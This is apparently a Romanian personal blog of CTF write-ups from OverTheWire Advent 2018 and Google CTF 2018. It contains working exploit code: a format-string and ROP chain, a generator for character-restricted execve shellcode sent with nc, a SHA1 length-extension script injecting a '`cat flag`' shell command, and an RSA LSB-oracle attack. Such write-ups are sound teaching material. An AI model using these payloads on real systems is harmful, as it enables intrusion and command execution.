OTW – The grinch

Parte din OverTheWire Advent Bonanza 2018

The grinch este un executabil linux care contine o vulnerabilitate care trebuie exploatata pentru a obtine un shell.

Dupa ce l-am dezasamblat si l-am analizat un timp am reconstruit codul sursa (probabil):

//gcc -m32 -o grnch grnch.c #include <stdio.h> #include <stdlib.h> int generate_rand_pass(char *pass) { int ret = 0; FILE *fp = open("/dev/urandom", 0); if(fp == 0) { //perror exit(1); } ret = read(fp, pass, 0x40); close(fp); return ret; } void print_banner() { //puts("..."); } void read_password(char *password) { read(1, password, 0x40); } void write_to_log(FILE *log, char *str) { fprintf(log, str); } void append_formatted_to_log(FILE *log, char *user_fmt) { write_to_log(log, " logged -> "); write_to_log(log, user_fmt); } void append_to_log(FILE *log, char *username) { char *user_fmt = (char*)calloc(0x11, 1); snprintf(user_fmt, 0x10, "%s\n", username); append_formatted_to_log(log, user_fmt); } void main() { alarm(60); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); int page_size = sysconf(0x1e); char *rand_pass = (char*)mmap(0, page_size, 0x03, 0x22, 0xFFFFFFFF, 0); if(rand_pass == 0) { //perror return; } if(generate_rand_pass(rand_pass) != 0x40) { //perror return; } mprotect(rand_pass, page_size, 1); //marks rand_pass as read only FILE *log = fopen("/dev/null", "w"); char *username = calloc(0x10, 1); if(username == 0) { //perror return; } char *password = calloc(0x40, 1); if(password == 0) { //perror return; } print_banner(); fwrite("username: ", 1, 10, stdout); scanf("%13s", username); fwrite("password: ", 1, 10, stdout); read_password(password); append_to_log(log, username); if(memcmp(rand_pass, password) == 0) { fwrite("PASSED\n", 1, 7, stdout); fwrite(" // TODO: Put mandatory CTF shell function here...", 1, 50, stdout); } else { fwrite("FAILED\n", 1, 7, stdout); } exit(1); }

Am observat o vulnerabilitate in functia:

void write_to_log(FILE *log, char *str) { fprintf(log, str); }
Aici formatul pentru fprintf() este username creand deci posibilitatea pentru o vulnerabilitate format string.

Cand fprintf() este apelat cu username, stack-ul arata asa:

La parametrul 5 se afla frame pointerul functiei append_formatted_to_log()
La parametrul 20 se afla adresa pentru password
Am construit urmatorul format string:

%*20$c%5$n
%*20$c seteaza latimea de printat la valoarea de la parametrul 20, adica adresa lui password.
%5$n salveaza numarul de caractere scrise pana in acel moment in pointerul de la parametrul 5.
Rezultatul este ca frame pointerul functiei append_to_log() este inlocuit cu adresa lui password. Astfel functia append_to_log() va returna la o adresa aflata in password.

Dupa ce am obtinut controlul asupra EIP-ului am construit o secventa ROP care apeleaza mprotect() pentru a crea o zona read+write+execute, read() pentru a citi un shellcode din STDIN in acea zona, si un gadget din binar (add esp, 8 ; pop ebx ; ret) pentru a incrementa ESP-ul ca sa pot sari peste parametrii functiilor:

080485d0 return in mprotect() 080485ae return in gadget, sare la return in read() 08053000 mprotect() addr 00001000 mprotect() size 00000007 mprotect() rwx 080485e0 return in read() 080485ae return in gadget, sare la return in shellcode 00000000 read() stdin 08053000 read() addr 0000001C read() size 08053000 return in shellcode

Rezultatul a fost un shell si deci flagul:

OTW – Elvish art

Parte din OverTheWire Advent Bonanza 2018

In Elvish art am primit un executabil linux care citeste un string de 0x100000 caractere din STDIN si verifica daca fiecare caracter citit se afla in stringul:

__ _ __ | \__ `\O/ `-- {} \} {/ \ \_(~)/______/=____/=____/=* \=======/ //\\ >\/> || \> ----:---:--- `` `` ```` `` `` * * * __@ * * * * * * /_| ^ * K * K * o'_)/ \ * * <')____ <')____ __* V \ ) __ * \ ___ )--\ ___ )--( ( (___|__)/ /* * * | | | | * \ \____] [___/ / * |* | | | \____________/ *

Daca toate caracterele citite sunt acceptate atunci stringul citit este executat. In momentul executiei, EAX contine adresa stringului.

Challenge-ul este sa construiesc un shellcode doar cu caractere din acel string.

Intai am extras toate caracterele acceptate:

0x0A 'LF' 0x20 ' ' 0x27 ''' 0x28 '(' 0x29 ')' 0x2A '*' 0x2D '-' 0x2F '/' 0x3A ':' 0x3C '<' 0x3D '=' 0x3E '>' 0x40 '@' 0x4B 'K' 0x4F 'O' 0x56 'V' 0x5B '[' 0x5C '\' 0x5D ']' 0x5E '^' 0x5F '_' 0x60 '`' 0x6F 'o' 0x7B '{' 0x7C '|' 0x7D '}' 0x7E '~'

Am inceput apoi sa fac o lista cu toate instructiunile pe care le puteam construi cu aceste caractere si cum as putea sa le folosesc pentru a scrie un decoder care sa construiasca un shellcode arbitrar pe care sa-l execute.

Decoderul pe care l-am scris este destul de simplu:

  1. intai tot shellcode-ul este umplut cu o instructiune NOP care nu afecteaza executia, am ales 0x4F ('O'), DEC EDI
  2. EAX este incrementat astfel incat sa trimita undeva spre sfarsitul shellcode-ul, nu conteaza exact unde atata timp cat mai raman 30-40 de caractere pentru shellcode-ul decodat inainte de sfarsit
  3. CH este setat la 1
  4. pentru fiecare octet din shellcode-ul decodat se executa instructiunea 0x2828, SUB BYTE PTR [eax],ch de cate ori este nevoie pentru a ajunde de la 0x4F la valoarea din shellcode, dupa ce a ajuns la valoarea necesara se executa 0x40 INC EAX pentru a trece la octetul urmator
  5. dupa ce tot shellcode-ul este decodat, executia aluneca pe NOP-uri pana la el

La inceputul executiei EAX contine adresa stringului si am observat/presupus ca AL si CH sunt 0. Shellcode-ul pe care l-am scris arata cam asa:

#addr instr disas descr 0000 0A4020 or al,BYTE PTR [eax+0x20] la [eax + 0x20 (0x0020)] este 0x20 si daca al este 0x00 atunci al devine 0x20 0003 40 inc eax al devine 0x21 0004 20400A and BYTE PTR [eax+0A],al la [eax + 0A (0x002B)] este 0x4B, al este 0x21 deci la [eax+0A (0x002B)] va fi 0x01 0007 40 inc eax al devine 0x22 0008 40 inc eax al devine 0x23 0009 40 inc eax al devine 0x24 000A 40 inc eax al devine 0x25 000B 40 inc eax al devine 0x26 000C 40 inc eax al devine 0x27 000D 40 inc eax al devine 0x28 000E 40 inc eax al devine 0x29 000F 40 inc eax al devine 0x2A 0010 40 inc eax al devine 0x2B 0011 0A28 or ch, BYTE PTR [eax] la [eax (0x002B)] este 0x01 deci daca ch este 0x00 atunci ch devine 0x01 0013 40 inc eax al devine 0x2C 0014 0A20 or ah,BYTE PTR [eax] la [eax (0x2C)] este 0x7E deci ah devine >= 0x7E 0015 7C20 jl 0x22 executia continua de la 0x0038 .... 0020 20 data folosit in prima instructiune pentru a seta EAX .... 002B 4B data folosit la a treia instructiune pentru a obtine 0x01 002C 7E data folosit pentru a seta ah .... 0038 2828 sub BYTE PTR [eax],ch incep instructiunile care decodeaza shellcode-ul ....

Bineinteles ca am scris un script care construieste shellcode-ul ca sa nu o fac eu manual:

elvish-art.py
#!/usr/bin/python p = list('O' * 0x100000) p[0x00] = chr(0x0A) #or al,BYTE PTR [eax+0x20] p[0x01] = chr(0x40) p[0x02] = chr(0x20) p[0x03] = chr(0x40) #inc eax p[0x04] = chr(0x20) #and BYTE PTR [eax+0A],al p[0x05] = chr(0x40) p[0x06] = chr(0x0A) p[0x07] = chr(0x40) #inc eax p[0x08] = chr(0x40) #inc eax p[0x09] = chr(0x40) #inc eax p[0x0A] = chr(0x40) #inc eax p[0x0B] = chr(0x40) #inc eax p[0x0C] = chr(0x40) #inc eax p[0x0D] = chr(0x40) #inc eax p[0x0E] = chr(0x40) #inc eax p[0x0F] = chr(0x40) #inc eax p[0x10] = chr(0x40) #inc eax p[0x11] = chr(0x0A) #or ch, BYTE PTR [eax] p[0x12] = chr(0x28) p[0x13] = chr(0x40) #inc eax p[0x14] = chr(0x0A) #or ah,BYTE PTR [eax] p[0x15] = chr(0x20) p[0x16] = chr(0x7C) #jl 0x22 p[0x17] = chr(0x20) p[0x20] = chr(0x20) p[0x2B] = chr(0x4B) p[0x2C] = chr(0x7E) eip = 0x38 shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' for s in shellcode: if 0x4F > s: for i in range(0, 0x4F - ord(s)): p[eip] = chr(0x28) #sub BYTE PTR [eax],ch eip += 1 p[eip] = chr(0x28) eip += 1 else: for i in range(0, 0x4F + 0x100 - ord(s)): p[eip] = chr(0x28) #sub BYTE PTR [eax],ch eip += 1 p[eip] = chr(0x28) eip += 1 p[eip] = chr(0x40) #inc eax eip += 1 print ''.join(p)

Desi shellcode-ul nu functioneaza mereu e suficient de stabil ca din cateva incercari sa obtin flagul (banuiesc ca datorita ASLR-ului, ah, al sau ch au valori neasteptate si produc un segfault):

root@kali:~# (python elvish-art.py; cat) | nc 3.81.191.176 1222 Looks like valid ASCII art to me!! id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) cat flag AOTW{Every artist was 1st an amateur}

OTW – Cryptocow

Parte din OverTheWire Advent Bonanza 2018

Mi-a placut Cryptocow pentru ca a implicat ceva criptografie si atacul “length extension” pentru SHA1 pe care nu il mai folosisem.

La http://18.205.93.120:1216 este un serviciu web care primeste un mesaj si il transforma in ASCII art:

Dupa ce am cautat putin pe google (“cow says ascii art”) am gasit aplicatia linux cowsay care primeste un text si il transforma in ASCII art-ul de pe site. Fiind un CTF am fost aproape sigur ca serviciul ia inputul din formular, il trece prin cowsay si apoi il afiseaza.

Cand formularul era trimis catre serviciu, acesta genera un URL continand doua parti hexazecimale:

http://18.205.93.120:1216/c749f1bba77e364b87736720d78053e7/1021fc1da642c2ec3e42f18a12d3f40a460f4e61
Pentru ca mesajul era afisat cand URL-ul era acesat era evident ca mesajul era continut undeva in URL.

Am inceput sa modific diverse parti ale URL-ului si am facut cateva observatii:

  • prima parte hexa are 32 de caractere deci decodat are 16 octeti
  • a doua parte hexa are 40 de caractere deci decodat are 20 octeti
  • daca prima parte era “aaa” atunci serviciul afisa: “Invalid Encoding”
  • daca prima parte era “aaaa” afisa: “Error while decrypting cipher text”
  • daca modificam orice octet din prima parte afisa: “Invalid Padding”
  • daca modificam a doua parte atunci afisa: “Message Authentication Code does not match plain text”
  • pentru fiecare 16 caractere suplimentare in textul original, prima parte se marea cu inca 32 de caractere
  • daca textul original era 32 de “a”-uri atunci prima parte hexa avea 3 blocuri de 32 de caractere, primele doua fiind identice
  • fie ca textul era 16 “a”-uri sau 16 “b”-uri aparea un bloc suplimentar in prima parte hexa care era identic pentru ambele texte initiale

Dupa aceste observatii am tras cateva concluzii si am facut cateva predictii:

  • mesajul este criptat in prima parte hexa a URL-ului
  • pentru ca fiecare 16 caractere sunt criptate tot in 16, algoritmul de criptare este probabil AES 128
  • pentru ca acelasi bloc de 16 caractere produce acelasi bloc criptat indiferent de pozitie, modul de criptare este ECB
  • textul original era pad-uit inainte de criptare
  • ultimul bloc, identic pentru texte originale de 16 caractere diferite, sugera ca paddingul era PKCS#7, blocul suplimentar fiind criptarea blocului de padding de 16 “\x10”-uri
  • a doua parte a URL-ului este un MAC care protejeaza textul criptat
  • pentru ca MAC-ul are 20 de octeti (40 hexa) algoritmul este probabil SHA1

Pasul urmator a fost sa incerc cateva escapari (‘ ” ` $) dar era clar ca inputul era sanitizat inainte de a fi trimis catre cowsay.

Incercand diverse texte si escapari am observat ca pentru unele caractere era necesar un text mai mic pentru a produce un bloc criptat, de exemplu un text din 16 “a”-uri produce un bloc criptat si blocul de padding gol (16 “\x10”-uri) dar e nevoie doar de 13 “a”-uri si un “$” (14 caractere in total) pentru a produce un bloc criptat si acelasi bloc de padding. Nu conta insa cate caractere speciale erau in textul original (ex: 12 “a”-uri si 2 “$” uri) tot intr-un singur bloc erau criptate. Asta mi-a sugerat ca in cazul in care textul original continea un caracter special, intreg textul era escapat cu un caracter suplimentar la inceput si la sfarsit (‘ sau “) asa textul ajungea la cele 16 caractere care erau criptate intr-un singur bloc.

Am vrut sa aflu care erau caractere speciale care produceau escaparea textului asa ca am scris un mic script care construia un text format din fiecare caracter intre 0x00 si 0xFF si gasea numarul de “a”-uri necesar pentru a forma un bloc de 16 caractere si deci aparitia blocului de padding gol in criptare. Rezultatele au fost urmatoarele:

0x00 - 0x24($) > 13, escapare obisnuita cu 2 caractere 0x25(%) > 15, fara escapare 0x26(&) > 15, fara escapare 0x27(') > 9, inlocuit cu ' si escapat 0x28(() - 0x2B(+) > 13, escapare obisnuita 0x2C(,) - 0x3A(:) > 15, fara escapare 0x3B(;) > 13, escapare obisnuita 0x3C(<) > 13, escapare obisnuita 0x3D(=) > 15, fara escapare 0x3E(>) > 13, escapare obisnuita 0x3F(?) > 13, escapare obisnuita 0x40(@) - 0x5A(Z) > 15, fara escapare 0x5B([) - 0x5E(^) > 13, escapare obisnuita 0x5F(_) > 15, fara escapare 0x60(`) > 13, escapare obisnuita 0x61(a) - 0x7A(z) > 15, fara escapare 0x7B({) - 0x7F > 13, escapare obisnuita 0x80 - 0xFF > 11

Pentru caracterele intre 0x80 si 0xFF (neprintabile) escaparea era speciala, fiecare caracter era inlocuit cu doua caractere, si apoi se aplica escaparea obisnuita.

Modul in care am concluzionat ca functiona serviciul era:
text initial -> escapare text -> calcul MAC -> adaugare padding -> criptare -> generare URL
si in sens invers:
URL -> decriptare -> verificare MAC -> rulare cowsay -> afisare rezultat

Am considerat ca plecand de la URL, dupa decriptare, textul nu mai era escapat inca odata inainte de a fi trimis catre cowsay si deci daca as putea pune un text ne-escapat in URL as putea injecta comenzi linux cand este apelat cowsay. Puteam obtine criptarea unui bloc ne-escapat criptand un text mai lung si luand doar blocul necesar:
de exemplu:

`id`aaaaaaaaaa (14 octeti)
este escapat in:
'`id`aaaaaaaaaa' (16 octeti)
dar:
aaaaaaaaaaaaaaa(15) `id`aaaaaaaaaaaa (16) aaaaaaaaaaaaaaa(15)
este escapat in:
'aaaaaaaaaaaaaaa (16) `id`aaaaaaaaaaaa(16) aaaaaaaaaaaaaaa'(16)
deci al doilea bloc din criptare este pentru `id`aaaaaaaaaaaa(16).

Modul de criptare fiind ECB puteam pune pur si simplu blocul criptat in URL dar textul era protejat de MAC deci nu ar fi mers. MAC-ul este un SHA1 al unei chei secrete + text deci fara a sti cheia nu puteam genera un MAC valid.

Mi-am dat seama ca puteam folosi un atac numit “length extension” care se foloseste de o proprietate a functiilor hash pentru a calcula hash-ul mesajului original + mesaj arbitrar pornind doar de la hash-ul mesajului original.

Un hash SHA1 (40 de octeti) este format din cinci numere (de 4 octeti fiecare) reprezentand starea interna a functiei. Aceasta stare este actualizata pentru fiecare bloc de 64 de octeti din textul initial. Textul initial este de asemenea si pad-uit cu un algoritm simplu: la text se adauga 0x80 si apoi cate 0x00 sunt necesare pana ajunge la o lungime multipla de 64 – 8, ultimii 8 octeti fiind lungimea textului in biti. De exemplu pentru textul initial “aaaaa” blocul SHA1 de 64 de octeti cu padding arata asa (hex):

61 61 61 61 61 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28
Deci cunoscand hash-ul SHA1 pentru textul initial, il putem seta ca fiind starea interna a functiei si putem hash-ui inca un bloc arbitrar.

In acest caz atacul permite obtinerea unui MAC valid pentru un text cunoscut fara a sti cheia folosita, trebuie insa cunoscuta lungimea cheii pentru a produce paddingul corect dar mai multe lungimi pot fi testate rapid fiind necesar un singur request pentru fiecare lungime.

Ca exemplu presupun ca lungimea chei MAC este 6. Pot afla de la serviciu MAC-ul pentru textul “aaaaa”. Atunci cand serviciul genereaza MAC-ul, blocul SHA1 arata asa (?? este cheia):

?? ?? ?? ?? ?? ?? 61 61 61 61 61 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58
Lungimea din padding este 0x58 (88) pentru ca sunt 6 octeti pentru cheie si 5 pentru text deci 88 de biti.
Pot extinde hash-ul SHA1 cu textul arbitrar “bbbbbb” obtinand hash-ul pentru textul:
?? ?? ?? ?? ?? ?? 61 61 61 61 61 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 62 62 62 62 62 62
Astfel trimit catre serviciu MAC-ul extins si criptarea textului:
61 61 61 61 61 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 62 62 62 62 62 62
Serviciul va decripta textul, va dauga cheia MAC la inceput si va genera acelasi SHA1 cu cel extins pe care l-am trimis.

Acum aveam un algoritm pe care il puteam aplica sa gasesc lungimea cheii MAC si sa injectez comenzi arbitrare dar aveam o problema cu obtinerea criptarii pentru blocurile care contineau 0x80. Caracterele mai mari de 0x80 erau escapate cu un caracter suplimentar si apareau si mai lungi in textul decriptat, 0x80 aparea ca:

C3 AF C2 BF C2 BD
dar 0xC3 0x80 aparea ca:
C3 83 C2 80
Desi in text erau 4 caractere pentru 0xC3 0x80, considerand lungimea blocurilor, acestea ramaneau tot doua inainte de criptare si aliniind corect caracterele am putut obtine blocul criptat pentru:
80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Aceasta problema s-a mai ivit si la testarea lungimii cheilor, pentru ca blocul 80 00 .. 00 trebuia sa fie aliniat, textul criptat trebuia sa inceapa cu un bloc de 16 “a”-uri si daca lungimea cheii era intre 0 si 15 atunci lungimea totala era intre 128(0x80) si 248 (0xF8) de biti, deci nu puteam obtine blocul criptat pentru aceste valori. Am trecut de aceasta problema adaugand un bloc suplimentar de “a” * 16 pentru lungimi ale cheii intre 0 si 15 si astfel lungimea era intre 256 (0x0100) si 376 (0x0178).

Am scris un script care testa astfel lungimi ale cheii intre 1 si 32:

#!/usr/bin/python import sys import urllib2 #sha1 cu posibilitatea de a seta starea interna si lungimea textului def sha1(data, h0 = 0x67452301, h1 = 0xEFCDAB89, h2 = 0x98BADCFE, h3 = 0x10325476, h4 = 0xC3D2E1F0, length = None): if length == None: length = len(data) * 8 bytes = "" for n in range(len(data)): bytes += '{0:08b}'.format(ord(data[n])) bits = bytes + "1" pBits = bits while len(pBits) % 512 != 448: pBits += "0" pBits += '{0:064b}'.format(length) def chunks(l, n): return [l[i:i+n] for i in range(0, len(l), n)] def rol(n, b): return ((n << b) | (n >> (32 - b))) & 0xffffffff for c in chunks(pBits, 512): words = chunks(c, 32) w = [0]*80 for n in range(0, 16): w[n] = int(words[n], 2) for i in range(16, 80): w[i] = rol((w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16]), 1) a = h0 b = h1 c = h2 d = h3 e = h4 for i in range(0, 80): if 0 <= i <= 19: f = (b & c) | ((~b) & d) k = 0x5A827999 elif 20 <= i <= 39: f = b ^ c ^ d k = 0x6ED9EBA1 elif 40 <= i <= 59: f = (b & c) | (b & d) | (c & d) k = 0x8F1BBCDC elif 60 <= i <= 79: f = b ^ c ^ d k = 0xCA62C1D6 temp = rol(a, 5) + f + e + k + w[i] & 0xffffffff e = d d = c c = rol(b, 30) b = a a = temp h0 = h0 + a & 0xffffffff h1 = h1 + b & 0xffffffff h2 = h2 + c & 0xffffffff h3 = h3 + d & 0xffffffff h4 = h4 + e & 0xffffffff return '%08x%08x%08x%08x%08x' % (h0, h1, h2, h3, h4) #sha1 length extention pentru h1 + text extra def lenext(h1, extra): h = int(h1, 16) a = h >> 128 b = (h >> 96) & 0xFFFFFFFF c = (h >> 64) & 0xFFFFFFFF d = (h >> 32) & 0xFFFFFFFF e = h & 0xFFFFFFFF return sha1(extra, a, b, c, d, e, (64 + len(extra)) * 8) #raspunsul serviciului pentru un plaintext def say(url): req = urllib2.Request(url) return urllib2.urlopen(req).read() #url-ul pentru un plaintext def geturl(plain): req = urllib2.Request('http://18.205.93.120:1216/') req.add_header('Content-Type', 'application/x-www-form-urlencoded') resp = urllib2.urlopen(req, data = 'plain=' + plain) return resp.geturl() #obtine MAC-ul plaintextlui def mac(plain): return geturl(plain)[-40:] #obtine blocul criptat pentru plaintext def encrypt(plain): #daca stringul contine un caracter neprintabil foloseste 0xC3 pentru a-l escapa for c in plain: if ord(c) >= 0x80: return geturl('a' * 14 + '\xC3' + plain)[58:90] return geturl('a' * 14 + ' ' + plain)[58:90] #space pentru a fi sigur ca stringul e escapat #adauga padding PKCS#7 def pad(msg): pad = 16 - len(msg) % 16 if pad == 0: pad = 16 return msg + chr(pad) * pad #obtine url-ul pentru length extension cu text extra def build(keylen, extra): #blocul de 64 de octeti din MAC_SHA11 dar fara cheia de la inceput msg = 'a' * 16 if keylen < 16: #daca lungimea cheii este mai mica de 16 adauga inca in bloc de 'a' * 16 msg += 'a' * 16 oml = (keylen + len(msg)) * 8 #lungimea in biti a textului original cu tot cu cheie omac = mac(msg) #obtine de la server MAC-ul textului original sys.stdout.write('.') sys.stdout.flush() msg += '\x80' msg += '\x00' * (62 - keylen - len(msg)) #completeaza cu 0x00 pana la lungimea de 62 msg += chr(oml / 256) + chr(oml % 256) #adauga lungimea textlui original msg += extra #adauga textul extra msg = pad(msg) #adauga paddingul pkcs url = 'http://18.205.93.120:1216/' #cripteaza separat fiecare bloc de 16 octeti si adauga rezultatul la url for i in range(0, len(msg), 16): url += encrypt(msg[i:i + 16]) sys.stdout.write('.') sys.stdout.flush() return url + '/' + lenext(omac, extra) #calculeaza MAC-ul textului original + text extra #testeaza secvential lungimi posibile de chei pentru MAC def find_keylen(): for keylen in range(1, 32): sys.stdout.write('[+] trying key length ' + str(keylen) + ' ') sys.stdout.flush() if 'w00t' in say(build(keylen, 'w00t')): print(' SUCCESS') break else: print(' failed') #gaseste lungimea cheii find_keylen() #genereaza URL-ul pentru un text extra arbitrar #keylen aflat mai sus = 16 print(build(16, '`cat flag`'))

si rezultatul a fost:

[+] trying key length 1 ...... failed [+] trying key length 2 ...... failed [+] trying key length 3 ...... failed [+] trying key length 4 ...... failed [+] trying key length 5 ...... failed [+] trying key length 6 ...... failed [+] trying key length 7 ...... failed [+] trying key length 8 ...... failed [+] trying key length 9 ...... failed [+] trying key length 10 ..... failed [+] trying key length 11 ..... failed [+] trying key length 12 ..... failed [+] trying key length 13 ..... failed [+] trying key length 14 ..... failed [+] trying key length 15 ..... failed [+] trying key length 16 ..... SUCCESS

Avand lungimea cheii puteam injecta orice mesaj ne-escapat si cu `cat flag` am obtinut flagul:

OverTheWire Advent Bonanza 2018

Intre 1 si 26 decembrie am participat la un CTF organizat de overthewire.org. Mi-a placut faptul ca fiind doar un challenge pe zi am avut destul de mult timp la dispozitie sa incerc sa le rezolv si in final am iesit pe locul 9 desi nu am alocat cat timp ar fi trebuit iar pe unele challenge-uri nici nu le-am inceput.

Acum ca s-a terminat o sa scriu cateva writeup-uri pentru challenge-urile care mi-au placut mai mult:

Google CTF 2018 Crypto

Dupa ce am rezolvat problemele de incepatori binenteles ca trebuie sa le fac si pe cele importante. Am inceput cu CRYPTO si le-am pus aici in ordinea punctajului nu in ordinea in care le-am facut.

PERFECT SECRECY
Primim fisierul criptat flag.txt, o cheie publica RSA key_pub.pem si sursa unei aplicatii challenge.py.
Initial am crezut ca pentru decriptarea flagului trebuie extrasa cheia privata factorizand cheia publica asa ca am incercat pe http://factordb.com/ si https://github.com/Ganapati/RsaCtfTool dar nu au functionat asa ca m-am uitat mai atent la sursa aplicatiei. Partea interesanta este:

m0 = reader.read(1) m1 = reader.read(1) ciphertext = reader.read(private_key.public_key().key_size // 8) dice = RsaDecrypt(private_key, ciphertext) for rounds in range(100): p = [m0, m1][dice & 1] k = random.randint(0, 2) c = (ord(p) + k) % 2 writer.write(bytes((c,)))
Aplicatia citeste doi octeti, m0 si m1 si o un ciphertext de 128 de octeti pe care il decripteaza in dice. Primul bit din dice determina valoarea lui p, daca dice este par (dice & 1 == 0) atunci p = m0 altfel daca este impar (dice & 1 == 1) p = m1.
In urmatoarele doua randuri se genereaza un numar aleator k, care este adaugat la valoarea lui p (m0 sau m1) si se obtine restul impartirii la 2 care este afisat.
Modul in care este generat k este problematic, random.randint va genera aleator valorile 0, 1 sau 2 distribuite aproximativ egal (fiecare 1/3). c este restul impartirii lui p + k la 2 care va fi 0 sau 1 dar deoarece k poate fi 0, 1 sau 2 atunci valorile lui c nu vor fi distribuite uniform:

  • daca p este par atunci:

    • p + 0 % 2 = 0
    • p + 1 % 2 = 1
    • p + 2 % 2 = 0
  • daca p este impar atunci:

    • p + 0 % 2 = 1
    • p + 1 % 2 = 0
    • p + 2 % 2 = 1

Cu alte cuvinte distributia valorilor de 0 si 1 in cei 100 de c generati este determinata de valoarea lui p: daca majoritatea (66%) sunt 0 atunci p este par si daca majoritatea sunt 1 atunci p este impar.
Cum valoarea lui p este determinata de dice: m0 daca dice este par si m1 daca dice este impar atunci analizand sirul de 1 si 0 generat de aplicatie putem afla daca valoarea decriptata este para sau impara. Nu pare mult dar este suficient pentru a afla intreg textul decriptat folosind un atac numit "least significant bit oracle attack": https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack.
Pentru a intelege acest atac este necesara cunoasterea matematicii din spatele algoritmului RSA dar pe scurt este: valoarea textului initial trebuie sa se afle intre 0 si cheia publica (n) dar folosind oracolul de mai sus, intervalul in care se poate afla textul initial este restrans prin decriptari succesive ale valorii criptate ridicata la puteri ale lui 2 pana cand dupa 1024 de tentative se obtine o singura valoare posibila pentru textul decriptat.
Atacul pus in practica:

#!/usr/bin/env python3 import sys import socket import decimal from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend #true daca plaintextul este par def oracle(c): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("perfect-secrecy.ctfcompetition.com", 1337)) sock.send(b'\x02\x03' + c.to_bytes(128, byteorder='big')) count = 0 for _ in range(100): b = sock.recv(1) count = count + b[0] return count < 50 #citeste ciphertet c = int.from_bytes(open("flag.txt", "rb").read(), 'big') #citeste cheia publica pk = serialization.load_pem_public_key(open("key_pub.pem", "rb").read(), backend=default_backend()) n = pk.public_numbers().n enc2 = (2 ** pk.public_numbers().e) % n #valoarea ciptata a lui 2 decimal.getcontext().prec = 1024 #precizia necesara pentru decimal lower = decimal.Decimal(0) #valoarea minima a plaintextului upper = decimal.Decimal(n) #valoarea maxima a plaintextului for i in range(1024): #1024 de iteratii c = (c * enc2) % n #textul este ridicat la patrat la fiecare iteratie half = (upper + lower) / 2 #jumatatea distantei dintre valoarea minima si maxima a plaintextului print(i, int(half).to_bytes(128, byteorder='big')) #afiseaza textul partial decriptat if oracle(c): #plaintextul este par upper = half #coboara valoarea maxima a plaintextului else: lower = half #coboara valoarea minima a plaintextului
Rezultatul decripteza flagul aproape caracter cu caracter:

DM COLLISION
In acest challenge am primit un algoritm similar cu DES si trebuie sa gasim doua tipuri de coliziuni: in prima trebuie gasite doua perechi diferite cheie + text care sa genereze acelasi rezultat si in a doua trebuie gasita o pereche cheie/text astfel incat criptarea sa genereze tot textul initial, DESEncrypt(inp, key) == inp deci Xor(DESEncrypt(inp, key), inp) == 0
Prima coliziune nu a fost foarte dificila. Desi algoritmul nu este chiar DES, este foarte similar avand aceeasi cheie de 56 de biti si primim si indiciul:

# Only 56 bits are used. A bit in each byte is reserved for pairity checks.
Sunt folositi doar 7 biti din fiecare octet al cheii asa ca este trivial sa gasim doua cheie diferite care au cei 56 de biti utili identici si difera in cei 8 nefolositi:

A doua coliziune a fost mai dificil de gasit.
Un plaintext care ramane neschimbat de procesul de criptare se numeste "fixed point" si cautand putin despre fixed points in DES am gasit cateva informatii intersante despre chei slabe si fixed-pointurile pe care le produc.
Astfel pentru fiecare din cele patru chei slabe din DES exista 232 fixed-pointuri, adica 1 din 232.
Nu am gasit alta metoda sa obtin un fixed point pentru algoritmul dat decat forta bruta asa ca am folosit codul din not_des.py pentru a cripta valori aleatoare in speranta ca voi gasi un fixed point. Din pacate python-ul a fost prea lent pentru asta, facea doar vreo 300 de criptari pe secunda deci 232 de criptari ar fi durat cam jumatate de an.
Am incercat sa gasesc care sunt diferentele intre algoritmul dat si DES si am observat sa S-Boxurile sunt in alta ordine:

SBOXES = [S6, S4, S1, S5, S3, S2, S8, S7]
asa ca am putut sa modific un cod pentru DES in C ca sa micsorez timpul de brute-force. Algoritmul in C face aproape 200000 de criptari pe secunda deci 232 criptari ar trebui sa dureze doar vreo 5 ore (multi-threaded ar fi fost chiar mai rapid).
Am incercat doua abordari de brute-force: una in care generam valori aleatorii cu rand() si alta in care am iterat valorile intre 0 si 264 cu doar 16 valori pe octet in loc de 256 adica 232 valori posibile:
for (unsigned short b0 = 0; b0 <= 0xFF; b0 += 16) { for (unsigned short b1 = 0; b1 <= 0xFF; b1 += 16) { for (unsigned short b2 = 0; b2 <= 0xFF; b2 += 16) { for (unsigned short b3 = 0; b3 <= 0xFF; b3 += 16) { for (unsigned short b4 = 0; b4 <= 0xFF; b4 += 16) { for (unsigned short b5 = 0; b5 <= 0xFF; b5 += 16) { for (unsigned short b6 = 0; b6 <= 0xFF; b6 += 16) { for (unsigned short b7 = 0; b7 <= 0xFF; b7 += 16) { //... } } } } } } } }
Dupa vreo 2 ore a doua abordare a avut succes si am gasit un fixed point: 0x30C0C000A0A01040

BETTER ZIP
